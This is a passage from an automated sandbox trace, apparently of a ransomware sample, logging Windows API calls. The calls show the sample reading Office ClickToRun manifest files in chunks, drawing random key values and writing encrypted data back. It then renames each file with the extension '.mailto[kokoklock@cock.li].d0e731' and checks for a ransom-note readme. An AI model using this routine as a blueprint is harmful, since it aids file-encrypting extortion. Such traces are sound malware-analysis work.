Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" [0073.945] wcscat (in: _Dest=0x341ffb0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.945] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.971] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ffb0) returned 1 [0073.971] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0073.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0073.971] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.972] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.972] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0073.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f21a8) returned 1 [0073.972] RtlExitUserThread (Status=0x1) Thread: id = 607 os_tid = 0x1358 [0073.627] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml")) returned 0x20 [0073.627] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.628] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x940 [0073.628] GetFileSizeEx (in: hFile=0x940, lpFileSize=0x17d3fb88 | out: lpFileSize=0x17d3fb88*=27466) returned 1 [0073.628] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x6b46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.628] ReadFile (in: hFile=0x940, lpBuffer=0x17d3fb5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17d3fb58, lpOverlapped=0x0 | out: lpBuffer=0x17d3fb5c*, lpNumberOfBytesRead=0x17d3fb58*=0x4, lpOverlapped=0x0) returned 1 [0073.864] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e140 [0073.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e488 [0073.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e348 [0073.865] NtQuerySystemTime (in: CurrentTime=0x17d3fb34 | out: CurrentTime=0x17d3fb34*=132121176317540371) returned 0x0 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xbe3e75ca [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xa200fe6 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xd8cdad8c [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xf9d0595c [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x32a01db3 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xa948a24d [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x93a3bf43 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x2647b075 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x52297a9c [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x9c007745 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x15476da9 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x784b581d [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xaa0b6d70 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x8e35dcd9 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xc29c5b21 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xd4420ac2 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x5a4ccdcd [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x52bd8299 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x8dfbf595 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x35244b5a [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x4fe0e9a8 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x4739cdcc [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xcaa21167 [0073.865] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xab414767 [0073.866] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x22402f44 [0073.866] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x5b3b051c [0073.866] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x56b534ba [0073.866] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xb163bf08 [0073.866] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x61b4b0a2 [0073.866] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x83b55227 [0073.866] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0xf4a9cb88 [0073.866] RtlRandom (in: Seed=0x17d3fb40 | out: Seed=0x17d3fb40) returned 0x720fe88a [0073.878] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.878] ReadFile (in: hFile=0x940, lpBuffer=0x34b25f0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17d3fb0c, lpOverlapped=0x0 | out: lpBuffer=0x34b25f0*, lpNumberOfBytesRead=0x17d3fb0c*=0x4096, lpOverlapped=0x0) returned 1 [0073.946] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0073.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e168 [0073.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0073.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e3f8 [0073.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5c8 [0073.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e320 [0073.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e320) returned 1 [0073.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.947] WriteFile (in: hFile=0x940, lpBuffer=0x348e3f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17d3fb0c, lpOverlapped=0x0 | out: lpBuffer=0x348e3f8*, lpNumberOfBytesWritten=0x17d3fb0c*=0x4096, lpOverlapped=0x0) returned 1 [0073.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e3f8) returned 1 [0073.947] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x6b4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.947] WriteFile (in: hFile=0x940, lpBuffer=0x341e5c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17d3fb44, lpOverlapped=0x0 | out: lpBuffer=0x341e5c8*, lpNumberOfBytesWritten=0x17d3fb44*=0x20, lpOverlapped=0x0) returned 1 [0073.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5c8) returned 1 [0073.948] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b25f0) returned 1 [0073.948] WriteFile (in: hFile=0x940, lpBuffer=0x341e190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17d3fb58, lpOverlapped=0x0 | out: lpBuffer=0x341e190*, lpNumberOfBytesWritten=0x17d3fb58*=0x8, lpOverlapped=0x0) returned 1 [0073.948] WriteFile (in: hFile=0x940, lpBuffer=0x17d3fb70*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17d3fb58, lpOverlapped=0x0 | out: lpBuffer=0x17d3fb70*, lpNumberOfBytesWritten=0x17d3fb58*=0x4, lpOverlapped=0x0) returned 1 [0073.948] WriteFile (in: hFile=0x940, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17d3fb58, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x17d3fb58*=0x4, lpOverlapped=0x0) returned 1 [0073.948] WriteFile (in: hFile=0x940, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17d3fb58, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x17d3fb58*=0x6c, lpOverlapped=0x0) returned 1 [0073.948] WriteFile (in: hFile=0x940, lpBuffer=0x341e488*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17d3fb58, lpOverlapped=0x0 | out: lpBuffer=0x341e488*, lpNumberOfBytesWritten=0x17d3fb58*=0x20, lpOverlapped=0x0) returned 1 [0073.948] WriteFile (in: hFile=0x940, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17d3fb58, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x17d3fb58*=0x4, lpOverlapped=0x0) returned 1 [0073.948] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e488) returned 1 [0073.948] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e370) returned 1 [0073.948] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e190) returned 1 [0073.949] CloseHandle (hObject=0x940) returned 1 [0073.949] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x132) returned 0x34200e8 [0073.949] wcscpy (in: _Dest=0x34200e8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" [0073.949] wcscat (in: _Dest=0x34200e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.949] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.969] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.969] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34200e8) returned 1 [0073.969] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0073.969] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0073.969] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.969] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.969] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.969] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0073.969] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5318) returned 1 [0073.969] RtlExitUserThread (Status=0x1) Thread: id = 608 os_tid = 0x135c [0073.629] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml")) returned 0x20 [0073.630] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0073.630] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x944 [0073.630] GetFileSizeEx (in: hFile=0x944, lpFileSize=0x17dbf9c8 | out: lpFileSize=0x17dbf9c8*=324596) returned 1 [0073.631] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x4f3f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.631] ReadFile (in: hFile=0x944, lpBuffer=0x17dbf99c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17dbf998, lpOverlapped=0x0 | out: lpBuffer=0x17dbf99c*, lpNumberOfBytesRead=0x17dbf998*=0x4, lpOverlapped=0x0) returned 1 [0073.735] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee60 [0073.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee88 [0073.736] NtQuerySystemTime (in: CurrentTime=0x17dbf974 | out: CurrentTime=0x17dbf974*=132121176316284091) returned 0x0 [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x9696968f [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xc81ad6a0 [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xda8c4e61 [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xfe348eb0 [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x6d59b465 [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x6f431a6d [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x7985b18c [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x5b620f56 [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x5e8ddc6c [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x1a1cfe7b [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x355fdb0f [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x22ef8f33 [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xf618274a [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x2bad5385 [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x915c656f [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x164fba14 [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xbf0e122e [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x869c6581 [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xfa54309c [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x7f79a096 [0073.736] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xd2aa37cc [0073.737] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x7f36561a [0073.737] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xcedc0796 [0073.737] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x87845d0a [0073.737] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xa934cfc0 [0073.737] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xd89c00d4 [0073.737] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x3b08d152 [0073.737] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x2533e9fe [0073.737] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xd5d099cf [0073.737] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0xb28a7b06 [0073.737] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x2bac9130 [0073.737] RtlRandom (in: Seed=0x17dbf980 | out: Seed=0x17dbf980) returned 0x181f227 [0073.752] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.752] ReadFile (in: hFile=0x944, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17dbf934, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x17dbf934*=0x4096, lpOverlapped=0x0) returned 1 [0073.770] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0073.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb90) returned 1 [0073.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e3f8 [0073.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eff0 [0073.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eff0) returned 1 [0073.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.771] WriteFile (in: hFile=0x944, lpBuffer=0x348e3f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17dbf934, lpOverlapped=0x0 | out: lpBuffer=0x348e3f8*, lpNumberOfBytesWritten=0x17dbf934*=0x4096, lpOverlapped=0x0) returned 1 [0073.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e3f8) returned 1 [0073.772] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x285dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.772] ReadFile (in: hFile=0x944, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17dbf934, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x17dbf934*=0x4096, lpOverlapped=0x0) returned 1 [0073.963] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x285dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd7d8 [0073.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eff0 [0073.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eff0) returned 1 [0073.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.965] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f040 [0073.965] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f068 [0073.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f068) returned 1 [0073.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd7d8) returned 1 [0073.965] WriteFile (in: hFile=0x944, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17dbf934, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x17dbf934*=0x4096, lpOverlapped=0x0) returned 1 [0073.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.965] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x4b35e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.965] ReadFile (in: hFile=0x944, 